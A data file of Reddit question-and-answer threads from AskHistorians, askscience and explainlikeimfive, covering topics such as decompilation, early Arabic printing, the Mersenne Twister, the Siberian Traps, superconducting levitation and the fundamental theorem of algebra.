are reasons for decompilation, but if there's even a possibility of getting the original source code, you should always prefer that.\n\nMore reading can be found on the [Decompilation Wiki](_URL_0_).", "A simple way of thinking about it: There are many (infinite, usually) versions of the same source code that will compile to the same code. So when you decompile, you have to figure out which of those versions you want to produce, and that's *extremely* unlikely to produce the actual source code that was originally written.\n\nSo yeah, you can do it, but you can't expect to do a very good job.", "Things like Java, yes. You can often even retrieve the comments.\n\nOther languages, like C++, not so much. You're not so much decompiling, as trying to create source code that will function the same way as the assembly code of the file you're attempting to decompile. More of a reconstruction if anything. This obviously suffers because the code, even if it compiles and works, would be insanely ugly and probably not very readable to a human."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.program-transformation.org/Transform/DeCompilation"], [], []]}
{"q_id": "a94n2g", "title": "How was the printing press adjusted for alphabets that have connected lettering by design (e.g. Arabic)? Did it delay the introduction of the printing press in regions where such alphabets are used?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a94n2g/how_was_the_printing_press_adjusted_for_alphabets/", "answers": {"a_id": ["ech1e8s"], "score": [993], "text": ["Wow, something I can actually discuss. This is my first time answering a post on Askhistorians, so I'll do my best and hopefully can edit if it gets flagged by the mods.\n\nBefore addressing the historical issue of the adoption of the printing press in regions where the Arabic alphabet is used, I'd like to briefly outline the actual technological aspects. By printing press I'm going to assume you mean specifically letterpress printing (the sort Gutenberg used) with moveable type, which is where the question of connected lettering gets interesting since as you you point out, each letter of the Arabic alphabet can vary its shape and design based on whether it is an initial, medial, or final letter. This might suggest that the issue of printing with Arabic alphabets was merely a matter of cutting more matrices (thing which are used to cast type) and casting more type. Viewed in this light, printing in Arabic might seem to just pose an economic concern or maybe one of practicality as opposed to technological capability. We should also note that Arabic, being an inherently cursive script, used ligatures, and lots of them. Ligatures are where two or even three letters combined to produce a slightly different letter shape. Like with the connected alphabet design inherent in Arabic, ligatures added to the numbers of type that would need to be cast. But Latin used ligatures too. [This image](_URL_0_) reproduces Gutenberg's letter forms, a total of 292.\n\nAll that said, I don't want to dismiss the issue of the cost of producing type as a matter that printers were concerned about. At the end of the day, books were objects to be sold. Unlike scribes who produced manuscripts and received part of their commission upfront, a printer in the Early Modern period fronted the cost of producing a book (including paying all those people who set and align type, it was a complicated endeavor) and so a printer had to balance the risk of books not selling well to the cost that went into producing all these unsold books. So, cost mattered.\n\nThe 'invention' of printing with Arabic moveable type found its home in Italy in the 16th century. The first book is widely believed to be a devotional book of hours printed in 1514 in Fano (although people argue it's more likely it was printed in Venice), likely intended for Arabic-speaking Christians living in the Levant.  A number of other books printed in Arabic appeared at this time in Italy, but the most organized and well funded efforts were around 1584 with the founding of the Medici Oriental Press in Rome (which later moved to Florence). Pope Gregory XIII even contributed to the press' establishment. A key element in why the books this press produced were much 'better' looking Arabic scripts, compared to previous efforts, lay in the skill of its typographer Robert Granjon, whose fonts we still use today. Granjon produced hundreds of ligatures, which together made a far more elegant, neater looking script. You can see a Google books scan of the press' version of Ibn Sina's Canon [here](_URL_2_). So for all intents and purposes, after the Medici Oriental Press, the issue of printing in Arabic was no longer a 'technological' matter so much as it was whether there was interest in these books. Presses in Leiden and England appeared not long after, some even borrowed the types that were made for the Medici Press in Rome. The question of why European scholars took an interest in learning Arabic again in the Early Modern period (don't forget the Medieval translation movements of the 10th - 12th centuries to translate Arabic works into Latin) is important to this issue of Arabic printing. I won't go into too much detail, but the combined effects of renewed interest in Arabic translations of classical Greek authors (and their Arab commentators like Ibn Rushd and Ibn Sina), the Catholic Church's efforts to reconnect with the Arabic speaking Christians I mentioned above, and the growing relevance of their Ottoman neighbors to the East (who spoke Turkish but also used Arabic for their scholarly productions) all led to a kind of second-wave interest in Arabic in the early modern period. I'll list some books below if you're interested.\n\nFinally, as to the question of whether it 'delayed' the introduction of the printing presses in regions which used Arabic alphabets. I'm trained as an Ottomanist, so I'll focus on that region. As I've tried to suggest above, the technological difficulties of a connected, cursive language were overcome soon enough. The printing press wasn't delayed in being adopted beyond a specific European locale for any such technological reasons or for lack of awareness. The Ottomans were well aware of printing technologies. We read some of their criticisms as to its inaccuracies, and their distaste over it being possibly used to print Qur'ans. But Greek and Jewish communities living in Istanbul established printing presses much earlier than the first 'Ottoman' (by which we're insinuating 'Turkish' or 'Muslim') press founded by Ibrahim Muteferrika in 1729. The issue of why Ottomans did not adopt printing presses sooner, but did do so for other European technologies, is a complicated one that I don't personally think has been fully answered by the scholarship. One theory has to do with the strength of the scribal classes in opposing a technology that could threaten the means of their livelihood, but I think that's only partly there. I'm an Early Modernist so I won't wade into why printing presses were eventually established in places like Cairo in the 18th century, but I would caution you against viewing its adoption as a teleological necessity or as being 'late' compared to Europe. In my own work, I encounter Ottoman translations of European printed books all the time and its not seen as some novel thing, just an alternate form of textual transmission.\n\nYou can read a bit more about the early history of Arabic printing in Europe in my blog post [here](_URL_3_) (with linked sources and more pictures).\n\nBooks:\n\n*The Republic of Arabic Letters* by Alexander Bevilacqua\n\n*The 'Arabick' interest of the natural philosophers in seventeenth-century England* edited by G. A. Russell (specifically the chapter by P. M. Holt \"The Medici Oriental Press (Rome 1584-1614) And The Impact Of Its Arabic Publications On Northern Europe\")\n\n*Success and Suppression: Arabic Sciences and Philosophy in the Renaissance* by Dag Hasse\n\n*Eastern wisedome and learning : the study of Arabic in seventeenth-century England* by Gerald Toomer\n\nI can provide more books specifically about the Medici Printing Press but they're in Italian.\n\nArticle:\n\n\"[The Enigma of the First Arabic Book Printed from Movable Type](_URL_1_)\" by Miroslav Krek. Angela Nuovo has also written on it, but in Italian."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.gutenbergsapprentice.com/wp-content/uploads/2014/06/11-Biblefont.jpg", "https://www.journals.uchicago.edu/doi/10.1086/372742", "https://books.google.co.uk/books?id=TccqvaM1towC&amp;printsec=frontcover&amp;dq=Libri+quinque+canonis+medicinae.+Quibus+additi+sunt+in+fine+libri+logicae&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjskO-ikLnfAhV9XhUIHaaKAv8Q6AEIMTAB#v=onepage&amp;q=Libri%20quinque%20canonis%20medicinae.%20Quibus%20additi%20sunt%20in%20fine%20libri%20logicae&amp;f=false", "https://jhiblog.org/2018/11/02/from-the-archive-the-early-history-of-arabic-printing-in-europe/"]]}
{"q_id": "33btsd", "title": "Can someone explain the Mersenne Twister pseudorandom number generator?", "selftext": "I've read the [wikipedia page](_URL_0_), but don't quite get it.\n\nFrom the pseudocode:\n\n```\n         MT[i] := lowest 32 bits of(1812433253 * (MT[i-1] xor (right shift by 30 bits(MT[i-1]))) + i) // 0x6c078965\n```\n\nI don't get where 1812433253 is coming from for one thing. It's note a Mersenne prime. I don't get what that's used for. I also don't get pretty much everything after that. Why are we bit shifting by 11, then 7, then 15, then 18 bits. Is there any significance to that sequence?\n\nThis is all very confusing for me, and maybe I need to work up to it in order to understand, but any help would be greatly appreciated!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33btsd/can_someone_explain_the_mersenne_twister/", "answers": {"a_id": ["cql2pb5", "cql8ax2"], "score": [2, 5], "text": ["Adequately explaining it is well beyond my knowledge, but I imagine that the original [paper](_URL_0_) by Matsumoto and Nishimura is going to be the best reference to look at.", "The quoted bit of pseudocode is actually not part of the MT algorithm itself; it's just the initialisation procedure. MT tends to generate \"not random-looking\" numbers if the initial state is itself \"not random-like\", which this initialisation procedure avoids.\n\nThe number 1812433253 comes from a table of multipliers to use with [linear congruential generators](_URL_0_) (LCG) published in The Art of Computer Programming. Using such a value would guarantee good spectral distribution, but note that there is no theoretical basis for using this constant here as a*(x\\^(x >  > 30))+i is not an LCG.\n\nThe rest of the pseudocode is part of MT proper and is described in the rest of the Wikipedia article."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Mersenne_Twister#Pseudocode"], "answers_urls": [["http://dl.acm.org/citation.cfm?doid=272991.272995"], ["https://en.wikipedia.org/wiki/Linear_congruential_generator"]]}
{"q_id": "2dcrll", "title": "how do single celebrities and prominent politicians have sex lives without the whole world knowing?", "selftext": "Given the American people's obsession with the personal lives of people in the spotlight, it would seem that any article titled \"[Celebrity Name] Goes Home with Random Guy at Bar\" or \"College Hookup of Obama Tells All\" would make big splashes in the right news outlets/tabloids if that information could become available. Do celebrities and politicians simply pay these people off or make them sign NDAs? What about retroactively? Did smart politicians-in-the-making somehow keep records from a young age of everyone they hook up with so they know to pay them off later in case they ever become important? \n\nThese sorts of things obviously shouldn't be news, but given Americans' nature they definitely would be. That said, I don't know of a single politician whose past sexual history has ever been brought up or mentioned, even by the sleaziest of tabloids. How is this all kept under wraps?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dcrll/eli5_how_do_single_celebrities_and_prominent/", "answers": {"a_id": ["cjo9hcz", "cjo9m7x"], "score": [4, 5], "text": ["He are my guesses :\n\n - The \"politician hook-up\" are now older, have a family and don't want to be associated with the media or whatever.\n\n - They might also still respect the politician in question and don't want to cause any trouble.\n\n - The politician can just deny it.\n\n - Politician were too busy studying instead of going out and getting laid.\n\nAll of those together and it greatly reduce the number of possible slip-up.", "\"Don't know of a single policitican whose past sexual history has ever been brought up\"?  \n\nBill Clinton, Mark Sanford, Elliot Spitzer, Anthony Weiner, David Patraeus, John Edwards, David Vitter and Larry Craig (among many, many others) all say hello."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9ymrbi", "title": "What caused the Siberian eruptions during the Permian extinction?", "selftext": "A sea of lava the size of the US just appearing isn't normal.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9ymrbi/what_caused_the_siberian_eruptions_during_the/", "answers": {"a_id": ["ea2lx2d", "ea3eh4t"], "score": [12, 4], "text": ["The eruptions that created the Siberian traps and likely played a major role in the Permian extinction were a result of magma being pushed towards the surface from a deep source. There are three major theories as to why this occurred. I shall outline them here:\n\n1. Mantle Plumes- this hypothesis states that processes at the mantle-core boundary caused a large volume of hot rock to well to the surface. Basically, basaltic lava with a density less than the surrounding mantle nucleates near the core-mantle boundary. Buoyancy causes this material to move towards the surface in a columnar shape known as a diapir. This process has frequently been invoked to explain volcanism occurring far from plate boundaries (Hawaii is a good example). The accuracy of this hypothesis and models using it are the subject of vigorous ongoing debate in geophysics.\n2. Plate Hypothesis- this hypothesis states that the magma is from a shallower source and is brought to the surface by lithospheric extension. Basically, the overlying plate breaks and spreads apart, allowing magma to well to the surface. This process usually takes place at mid-ocean ridges (Mid-Atlantic Ridge, etc.) and results in the formation of new oceanic crust. We know this process has occurred on land in the past, with the Basin and Range of the Western United States and Africa's Great Rift Valley providing examples of areas where continents have partially split, but ultimately failed to do so. Were the process to continue it would result in two separate continents. The Siberian Traps would have resulted from a failed split similar to the Great Rift Valley\n3. Impact Hypothesis- this hypothesis states that an asteroid impact with sufficient energy to penetrate the thinner oceanic lithosphere on the other side of the world (antipodal point) could cause volcanism of the sort that created the Siberian Traps. Basically, an asteroid hits the other side of the world. Seismic waves then travel around the planet and are focused at the point directly opposite the impact, causing magma to well to the surface. This hypothesis is the least studied of the three and requires much more investigation. I have included it here because Wilkes Land Crater in Antarctica is very near the same age as the Siberian Traps and is almost directly antipodal to them.  \n\nThe question is still up for debate, although the mantle plume hypothesis is the most widely accepted.", "/u/geopede left a great answer. One thing: the Siberean traps are \"normal\" in the sense that huge, apocalyptic flood basalts have happened many times throughout geologic history. See: Deccan Traps, Columbia River Flood basalts, Ontong Java, and others."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6lf5si", "title": "is it legal for cnn to dox reddit users?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6lf5si/eli5_is_it_legal_for_cnn_to_dox_reddit_users/", "answers": {"a_id": ["djtbr3s", "djtcfqr"], "score": [10, 2], "text": ["Of course it is. Why would you assume that you have any legal protection of anonymity on Reddit or anywhere else on the Internet? You don't.", "Based on what I've read so far, it looks a lot like extortion, with the threat of doxing. If it when to court, the users name would be public record..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7w4752", "title": "what is the difference between black tea flavours? the ingredients just say \"100% ceylon tea\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7w4752/eli5_what_is_the_difference_between_black_tea/", "answers": {"a_id": ["dtxce5y", "dtxcv9z", "dtxd86t", "dtxiskt"], "score": [3, 19, 2, 3], "text": ["They're all black tea, yes, but each of those are different brands that come from different tea plantations. The way each plantation grows its tea can affect the flavour, supposedly. I wouldn't know from experience, though--I don't drink tea enough to be able to tell them apart.", "Everything about a tea can effect its flavor. What varietal it is, where it is grown, how it is grown, what's in the soil, what fertilizers or pesticides are used, when it is picked, how it is picked, how much it is oxidized, how the oxidation was stopped, how it is dried, how it is processed and how it is packaged. And that's just before it reaches you.\n\nIf the ingredients only say 100% Ceylon tea, that just means it is grown somewhere in Sri Lanka, formerly Ceylon.\n\nEnglish breakfast, for example, is usually a blend of different black teas to give it an extra strong and malty flavor so it stands up to lots of sugar and milk.", "Just like homemade chocolate chip cookies for example. They are all chocolate chip but can taste different based on preparation. Black tea from one country could taste drastically different from its counterpart from an other country. ", "Similar to how (almost) all wine is made from grapes, but where/how/what is done to the grapes will change what kind of wine is made."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "zhem8", "title": "How are dipoles, the electrostatic force, and the magnetic force related? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zhem8/how_are_dipoles_the_electrostatic_force_and_the/", "answers": {"a_id": ["c64la9h"], "score": [2], "text": ["Well you can calculate the contribution to the electrostatic force field from a dipole moment by expanding the Legendre polynomial...\n\n_URL_1_\n\nGoogle \"multipole expansion of electric charge densities\" to see how the problem is set up.\n\nMaxwell's equations give you the relation between the electric and magnetic field of some given charge density. \n_URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Maxwell%27s_equations#Equations_.28SI_units.29", "http://en.wikipedia.org/wiki/Legendre_polynomials#Applications_of_Legendre_polynomials_in_physics"]]}
{"q_id": "eqgjcv", "title": "Where does the power come from that is needed to levitate a superconducting magnet against the constant pull of gravity?", "selftext": "In an aircraft in steady flight, lift exactly matches the pull of gravity. Generating that lift requires a continuous flow of power which is fed by the consumption of fuel. But a levitating supermagnet just sits there mid-air as long as it is kept cold enough. How?\n\n(Yes, I know that a lot of a plane or helicopter's power is also used to overcome drag, thrown away as waste heat, accelerate, or to do other useful things. Let's set that aside for now.)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/eqgjcv/where_does_the_power_come_from_that_is_needed_to/", "answers": {"a_id": ["fes5d67", "fetx108", "feup235", "feusho8", "feviolq"], "score": [58, 12, 9, 2, 5], "text": ["So far, everything said here has been wrong. There is no work done at all, no energy expended. A stone column holds up a statue against gravity mechanically without expending work. Here it's done magnetically. Both are static situation with no energy expenditure.", "Like someone else said, superconducting levitation does not expend any energy to keep up an object, and neither does e.g. letting an object rest on a table.\n\nBut maybe it's more intuitive if you also consider why an airplane *does* use energy: it's because it needs to accelerate a stream of air. If you think about a hovering helicoper, each second it sucks down a bunch of air from above the rotor and sets it in motion downwards, and the corresponding reaction force pushes the helicopter upwards. Each packet of air was originally not moving, and  afterwards it ends up with some downwards velocity, so the helicopter needs to expend energy to give the air that kinetic energy. The power goes into rearranging the air from one state to another. In the magnetic levitation setup things are not moving, and the system remains in the same state as time passes, so maybe it feels more plausible that energy is not spent.", "When you rest a book on a table is energy being expended?  What keeps the book from falling through the table and through the ground and falling all the way to the center of the Earth, exactly?\n\nIt's electromagentic forces of all the atoms that make up the book and the table repelling each other.\n\nThe same thing is happening in the levitating superconducting magnet -- just the exact forces are different.\n\nNo work is being done.. so no energy is being expended.", " >  (Yes, I know that a lot of a plane or helicopter's power is also used to overcome drag, thrown away as waste heat, accelerate, or to do other useful things. Let's set that aside for now.)\n\nThat aside is the key difference. An aircraft needs to change the air flow to stay up, which ultimately ends up heating the air. That's where all the energy goes. A levitated superconductor is a static situation. No energy goes anywhere.", "work = force \u00d7 distance.\n\nThe levitating thing doesn't move (ie distance = 0), ergo no work is done, and no energy is required.\n\nAeroplanes and helicopters need energy to stay aloft because they're *pushing air down* all the time, and it's the work done on *that volume of air* which requires the engines to provide power."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "30lxvl", "title": "selective hearing", "selftext": "What occurs into the brain to influence hearing one thing over hearing another?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30lxvl/eli5_selective_hearing/", "answers": {"a_id": ["cptn0v0"], "score": [7], "text": ["At every moment, there is a lot more of information available for us than we can consciously process: There is a lot to see, to feel, to smell, to taste, to hear etc. So there are some filters in place. This means not everything we would be able to experience (\"bottom up\") from sensory input reaches our consciousness.\nThe filters are partially innate, partially acquired. A classic example for the latter is the so called \"cocktail party effect\". If we hear a lot of people talking, most of this talk is just noise for us. But if there is a certain pattern - for example our own name - it draws our attention. This can be called \"top down\" processing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1i40fs", "title": "Did Ancient Greece or the separate cities have its/ their own flag?", "selftext": "Did the Ancient Greeks have their own version of a star spangled banner?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1i40fs/did_ancient_greece_or_the_separate_cities_have/", "answers": {"a_id": ["cb0ty7x"], "score": [4], "text": ["The closest thing to it is maybe the decorations on their soldiers' shields.  They weren't uniform, but certain cities tended to use the same symbols.  These were paid for by the soldiers themselves (assuming these are citizen (landowning) soldiers, not mercenaries), and not issued by the government, so the soldier could paint it however he wanted.\n\n  The most famous one is the lambda of Sparta, the Greek letter L, because Lacadaemon is another name for Sparta: _URL_0_\n\nAthenians might use an owl to represent Athena, their patron goddess.  Thebans would use the Sphinx or Hercules' club, both of which are heavily associated with Thebes in myth.\n\nOr the soldiers might just paint whatever design or symbol they wanted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.darkknightarmoury.com/images/Section/medium/73.jpg"]]}
{"q_id": "5hj5rn", "title": "Why isn't CO2 visible?", "selftext": "I happened across a [absorption spectrum](_URL_2_) of CO2 which included the very end of the visible spectrum.  It seems to show CO2 absorbs light in the 630-700 nm wavelength, at least somewhat.  I'm curious why, if CO2 seems to absorb some visible light, high concentrations of it are not visible as bluish/cyan gas (white light removing the deep reds).  Is there something I am missing here?\n\nWhat led me to this was an interest in replicating the sort of things shown [here](_URL_0_) or [here](_URL_1_).  These all seem to use mid wave IR and a narrow bandpass filter.  I would imagine that if a narrow bandpass filter around 650 nm on a regular camera would let you see CO2, they would have done that instead.  But I don't see why it wouldn't work.\n\n**EDIT**: As Shookfoot notes below, the units on the graph are wavenumber, not nanometers wavelength.  As such, the absorption isn't in the visible spectrum at all.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5hj5rn/why_isnt_co2_visible/", "answers": {"a_id": ["db0ozko", "db0pk8g", "db0sa8y"], "score": [15, 9, 113], "text": ["You've mistaken the wavenumber for wavelength.\n\n700cm\u20131 = 14285.71 nm\n\nSo, far outside of the visible spectrum, into the infrared. ", "I'm thinking spectral sensitivity might have some influence on this. The human eye actually has rather different sensitivity to different wavelengths in the visible spectrum. The sensitivity rapidly falling off close to the UV and IR region. Cameras might very well mimick this effect to make pictures look as natural as possible. This would make detecting weak CO2 absorption in the far red part of the visible region rather difficult.\n\nThe videos are using an IR camera which detect thermal radiation. Therefore the CO2 might show up due to its low temperature and IR emission. This does not really relate to the absorption of IR light by the gas.", "Hi there! The answer to this question is about the units of the absorbance spectrum you have shown us. The units are in wavenumbers, not nanometers. 600 wavenumbers is approximately 17,000 nm. Hope that clears things up!\n\nSource: aspiring chemist. "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=iH-W3gYx8vY", "https://www.youtube.com/watch?v=O1fJ3UuSFaU", "http://webbook.nist.gov/cgi/cbook.cgi?Spec=C124389&amp;Index=1&amp;Type=IR"], "answers_urls": [[], [], []]}
{"q_id": "8nppbt", "title": "the intuition behind the fundamental theorem of algebra", "selftext": "In algebra, we learn that a polynomial of degree n must cross the x-axis n times. But not every polynomial seems to behave this way--some cross fewer times than their degrees. As a solution, we are told the function also crosses through complex roots on an imaginary axis to account for those missing roots.\n\nSo my question is: how did they come up with the fundamental theorem if they hadn't known about complex roots yet? If not every polynomial seemed to satisfy the theorem, it shouldn't have even been created in the first place. It would have just been assumed that some polynomials have fewer roots than their degrees.\n\nThe paradox is that the claims of the theorm served as the driving force to discover complex numbers, even though complex numbers are what created the intuition behind the theorem in the first place.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8nppbt/eli5_the_intuition_behind_the_fundamental_theorem/", "answers": {"a_id": ["dzxeffs", "dzxghyl", "dzxjkps", "dzxlkm7", "dzyxx23"], "score": [17, 3, 5, 3, 3], "text": ["I think you're a little mixed up, it's not that a nth degree polynomial crosses the x axis n times, it's that the polynomial has n roots, some of which may or may not be imaginary. But then certian polynomials had roots that didn't seem to exist. For instance if you have x^2 = -1 as a root you can't really solve this because if you multiply a number by itself it should always be positive. So mathematicians started saying that the solution to this root is an imaginary number. For about 200 years this imaginary number had no real use except to factor these polynomials, that is until later mathematicians such as Cauchy came along and showed that there are ways to visualize imaginary numbers as complex numbers in a complex plane.", "Complex numbers were first used in a semi-formal setting by  Gerolamo Cardano in 1545, and further developed by Rafael Bombelli (1526-1572).\n\nThe fundamental theorem of algebra was stated in various forms starting from the early 1600s. Proof attempts started in 1746, and it was fully formally proved and stated for complex numbers in 1806 by Argand. All of this development happened after complex numbers had existed as a mathematical tool for a very long time, though a full statement had to wait until some of the stigma around apparent inconsistencies had dissipated, which happened around the early 1700s.", "Well, the fundamental theorem is something which you would WANT to be true. That is, you look at some degree n polynomial, and you want it to have n roots, so that you can factor it into a product of n linear terms. But people noticed that in reality many degree n polynomials lack n real roots, so that's unfortunate. People want to come up with a setting where polynomials have as many roots as their degree, so they introduced complex numbers. Adding in i as a square root of -1 at least gives one polynomial, namely x^2 + 1, two roots which it didn't have before, so this seems like it's at least a good starting point. It turned out that adding in i gave every polynomial all of its roots; proving this result gave us the fundamental theorem of algebra.\n\nSuch settings, where polynomials have as many roots as their degree, are known as algebraically closed fields. The complex numbers are an algebraically closed field, while the real numbers are not (they are just a field). Every field has an extension (analogous to adding in imaginary numbers) to some algebraically closed field, called the algebraic closure of the field. So the statement of the fundamental theorem of algebra is \"the complex numbers are the algebraic closure of the real numbers\".\n\nObviously this question cannot be explained like you are five, so I didn't.", "Complex numbers were mainly studied as solutions of second and third degree polynomials; the fundamental theorem of algebra provided a later \"all the pieces fit together !\" rationalisation for it.\n\nIf you want an intuition behind it, I think the best place to start are the so\\-called 'roots of unity': multiplication of complex numbers \\(of modulus 1\\) is essentially a *rotation*. In other words, if you think of the complex numbers on the unit circle as fractions of circle, their successive power is simply additions of the fractions: a half turn 'squared' gives two half turns, a third of a turn to the fifth power gives five thirds of circle, and so on.\n\nNow, an interesting questions is: what are the solutions of X^n = 1? I.e. if you get n times a fraction of circle, what are these fractions such that you end up with exactly one or more full turn(s)?\n\nOnce it's formalised this way, you should start to notice interesting properties: to get a full turn in 'one step', you need a full turn to start with, and that's the only solution. If you allow two steps, a full turn followed by another full turn still work, obviously. But so does a half turn, followed by another half turn! Interesting... Now getting to three steps, full turn iterated keep working, third of turn three times work as well, but 2/3 of turn *also* works, as you end up with three two-thirds of turns, i.e. two full turns. \n\nWhen you think about it, that's essentially the (very algebraic) property that for any number n, any number of the form (i / n), applied n times (i.e. multiplied by n), will give back i. So any of the n integers {0, 1, ..., n-1} is a solution of our original circling problem. Numbers larger than or equal to n are as well, but they are essentially the same thing with full turns added, so they're not really distinct solutions.\n\nNow all of that is nice and (maybe ?) intuitive, but what does it have to do with polynomials? Well, that's where all the pieces start to fit together: as said earlier, these combined circles are essentially multiplications of complex numbers, and our problem of 'reaching integral number of turns' is essentially equivalent to finding solutions of the polynomial X^n = 1. So, we showed that it has exactly n solutions of modulus 1, and it's quite easy to show that any solution has to be of modulus 1 as well (as anything not exactly 'on' the unit circle will spiral out or in as you raise it to larger power, but cannot stay on the circle).  What it means is that this X^n = 1 is *exactly equivalent* to the decomposition (X-e1)(X-e2)...(X-en) = 0, where e1, e2, ..., en are the n-th 'roots of unity'. You can even show that ek = e1^k for all k. That's very nice, but that's also very specific to this polynomial only. Can we extend it?\n\nTurn out we can: X^n = a can be trivially expressed like it, so can (X - b)^n = 1, and similarly, any (X - b)^n = a, simply by sliding and shifting the solutions: all of these are simply higher level, more abstract versions of \"i/n * n = i for any i\", which is the fundamental property we are still leveraging. But this is still very symmetrical, we are still cutting the circle in 'equal' pieces: is that transformation from an 'additive' polynomial X^n  - 1 = 0 to a multiplicative (X - e1)...(X - en) = 0 simply a consequence of that symmetry, or a fundamental property of polynomials?\n\nWell, turns out it's fundamental. And it's a theorem. There are plenty of beautiful demonstrations of it that you can look up, but that fundamental theorem which shows the equivalence of adding powers of numbers and composing rotations in the planes, the fundamental duality of polynomials as sums or products as two sides of the same underlying 'truth', rightly deserved to be called the fundamental theorem of algebra. You can think of it as the extension of what we said here, as a proof that any sum of powers at most n can be uniquely represented as a composition of n distinct rotations (with scaling/translations added, but they're actually not that fundamental), if you look at it from a different way. If that evokes things like group theory, or prime factor decomposition, that's no coincidence: most of those things are intrically linked, as Poincar\u00e9 said: mathematics is the art of giving the same name to different things. Discovering and highlighting these underlying fundamental similarities is essentially what algebra is all about.\n\nNow, what does all of that have to do with complex numbers? Well, complex numbers are nothing more than a shorthand, a mathematical trick to let us apply our computational intuition to these deep underlying truth. They are symbols which we can manipulate to discuss planar transformation, or general solutions to polynomials. \n\nWait, aren't these two essentially the same thing? \n\nEverything fits together!", "There is a really good reason why there should be *at most* N roots to a polynomial of degree N: Polynomials are like numbers, and the function properties of polynomials are connected to their number-like properties.\n\nFor instance, everything you can do with integers, you can do with polynomials. Add, subtract, multiply, divide. But, importantly, polynomials have \"prime polynomials\" and a unique factorization into prime factors. Just like numbers!\n\n75 factors as 5^(2)\\*3. x^(4)+2x^(3)+2x^(2)+2x+1 factors as (x+1)^(2)(x^(2)+1) \n\nWith numbers, it is actually kinda hard to take an arbitrary number and then figure out its prime factorization. But for polynomials, things are a little easier. For instance, we know, right away, how many prime factors it can have, at most. Since, when you multiple polynomials, the degree rises, if you look at a polynomial, find it has degree N, then you can be sure that it can factor into, at most, N different polynomials.\n\nAnother really, really nice thing about polynomials is that they are functions. And we can transform the problem of factoring polynomials into a problem about the function properties of the polynomial. Something you can't do for numbers! (Unless you're Grothendieck.) Notice that if p(x) is a polynomial that factors as p(x)=a(x)b(x) and we know that p(T)=0, then we know that a(T)b(T)=0 and since the only way to multiply to zero is if one of those things is zero, then we get that either a(T)=0 or b(T)=0. That is, finding a zero of p(x) find a zero for either a(x) or b(x). We can strengthen this: If p(T)=0, then we know that x-T has to be a polynomial that divides p(x). This is a prime polynomial. This means that the number of zeros of p(x) is linked to the number of prime factors of p(x), and since there can be at most N of these, there can be at most N zeros.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1bx7l8", "title": "Why are polymers containing C-F bonds low friction, such a Teflon?", "selftext": "I understand that the bond has the shortest length of all organic bonds, is it simply that, for example, Teflon has more densely packed chains and therefore less mechanical and inter molecular keying can occur? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bx7l8/why_are_polymers_containing_cf_bonds_low_friction/", "answers": {"a_id": ["c9b081j", "c9b5kay"], "score": [7, 8], "text": ["Fluoride is extremely electronegative.  Carbon only bonds covalently, but when in a bond with Fluorine, the covalent bond has some ionic character due to how electronegative fluorine is.  So you can imagine this covalent bond (electron sharing) as an unequal sharing, as Fluoride pulls the shared electrons closer to itself due to its electronegativity.  This makes Fluoride slightly more negatively charged, and the Carbon atom more positively charged.  This creates even more attraction between the atoms.  All of this makes the Fluoride in the C-F bond very nonreactive to other atoms, and the cooking surface in teflon is an entire layer of these nonreactive Fluoride atoms bonded to Carbon atoms.", "Some hints of this have already been said, but perhaps I can add just a bit.\n\nBasically, perfluorinated compounds have very weak intermolecular forces with (i) non-polar, (ii) polar, and (iii) ionic compounds.  \n\nThis is the trite answer.  But it is also weird.  To get a sense of who weird this is, consider the fact that *hexane and perfluorinated hexane are not miscible.* \n\nthat is strange, man.  \n\nSo, the answer is, it don't like interacting with anything else.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
